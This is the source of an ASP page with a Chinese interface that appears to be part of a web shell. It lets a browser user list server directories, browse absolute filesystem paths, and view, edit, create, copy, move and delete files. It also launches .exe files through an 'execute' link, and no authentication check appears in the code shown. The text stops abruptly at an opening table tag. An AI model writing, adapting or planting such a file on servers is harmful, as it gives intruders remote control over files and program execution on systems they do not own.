<% urlpath="http://"&Request.ServerVariables("SERVER_NAME") dim cpath,lpath set fsoBrowse=CreateObject("Scripting.FileSystemObject") if Request("path")="" then lpath="/" else lpath=Request("path")&"/" end if if Request("attrib")="true" then cpath=lpath attrib="true" else cpath=Server.MapPath(lpath) attrib="" end if Sub GetFolder() dim theFolder,theSubFolders if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theSubFolders=theFolder.SubFolders Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上級目錄</font></a><br>" Response.write"<table border='0' width='100%' cellpadding='0'>" For Each x In theSubFolders Response.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&x.Name&"</a> </td>" Response.Write "<td><a href=# onclick=javascript:window.open('delete.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>刪除</a></td>" Response.Write "<td><a href=# onclick=Javascript:window.open('move.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>移改</a></td>" Response.Write "<td><a href=# onclick=javascript:window.open('copy.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>復制</a><br></td></tr>" Next Response.Write "</table>" end if End Sub
Sub GetFile() dim theFiles if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theFiles=theFolder.Files Response.write"<table border='0' width='100%' cellpadding='0'>" For Each x In theFiles if Request("attrib")="true" then showstring="<strong>"&x.Name&"</strong>" else showstring="<a href=# onclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><strong>"&x.Name&"</strong></a>" end if if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then showstring=showstring&"</td><td width='10%'><A href=# onclick=javascript:window.open('fileop.asp?filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>執行</font></a></td>" else showstring=showstring&"</td><td width='10%'></td>" end if Response.write"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&x.size&"字節</td><td width='45%'><a href='#' title='"&"類型："&x.type&chr(10)&"屬性："&x.Attributes&chr(10)&"時間："&x.DateLastModified&"'><font color='#FF8000' >？</font>屬性</a><a href=# onclick=javascript:window.open('view.asp?path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>查看</a><a href=# onclick=javascript:window.open('edit.asp?path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>編輯</a><a href=# onclick=javascript:window.open('edit.asp?path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&op=del&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>刪除</a><a href=# onclick=javascript:window.open('copy.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >＋</font>復制</a><a href=# onclick=javascript:window.open('move.asp?sPath="&server.urlencode(lpath)&server.urlencode(x.Name)&"&aim=files"&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >＋</font>移動</a></td></tr>" Next end if Response.write"</table>" End Sub %> <html>
<head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title></title> <meta name="GENERATOR" content="Microsoft FrontPage 3.0"> <style> <!-- table{ font-family: 宋體; font-size: 9pt } a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64); text-decoration: none } a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none } a:visited{ color: rgb(128,0,0) } --> </style> </head> <script language="JavaScript"> function crfile(ls) {if (ls==""){alert("請輸入文件名!");} else {window.open('edit.asp?attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');} return false; } function crdir(ls) {if (ls==""){alert("請輸入文件名!");} else {window.open('edir.asp?attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');} return false; } </script> <script language="vbscript"> sub rmdir(ls) if confirm("你真的要刪除這個目錄嗎!"&Chr(13)&Chr(10)&"目錄為："&ls) then window.open("edir.asp?path="&ls&"&op=del&attrib=<%=request("attrib")%>") end if end sub sub copyfile(sfile) dfile=InputBox("※文件復制※"&Chr(13)&Chr(10)&"源文件："&sfile&Chr(13)&Chr(10)&"輸入目標文件的文件名:"&Chr(13)&Chr(10)&"[允許帶路徑,要根據你的當前路徑模式]") dfile=trim(dfile) attrib="<%=request("attrib")%>" if dfile<>"" then if InStr(dfile,":") or InStr(dfile,"/")=1 then lp="" if InStr(dfile,":") and attrib<>"true" then alert "對不起，你在相對路徑模式下不能使用絕對路徑"&Chr(13)&Chr(10)&"錯誤路徑：["&dfile&"]" exit sub end if else lp="<%=lpath%>" end if window.open("edit.asp?path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile) else alert"您沒有輸入文件名！" end If end sub </script> <body> <table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000" bordercolordark="#FFFFFF" cellspacing="0">
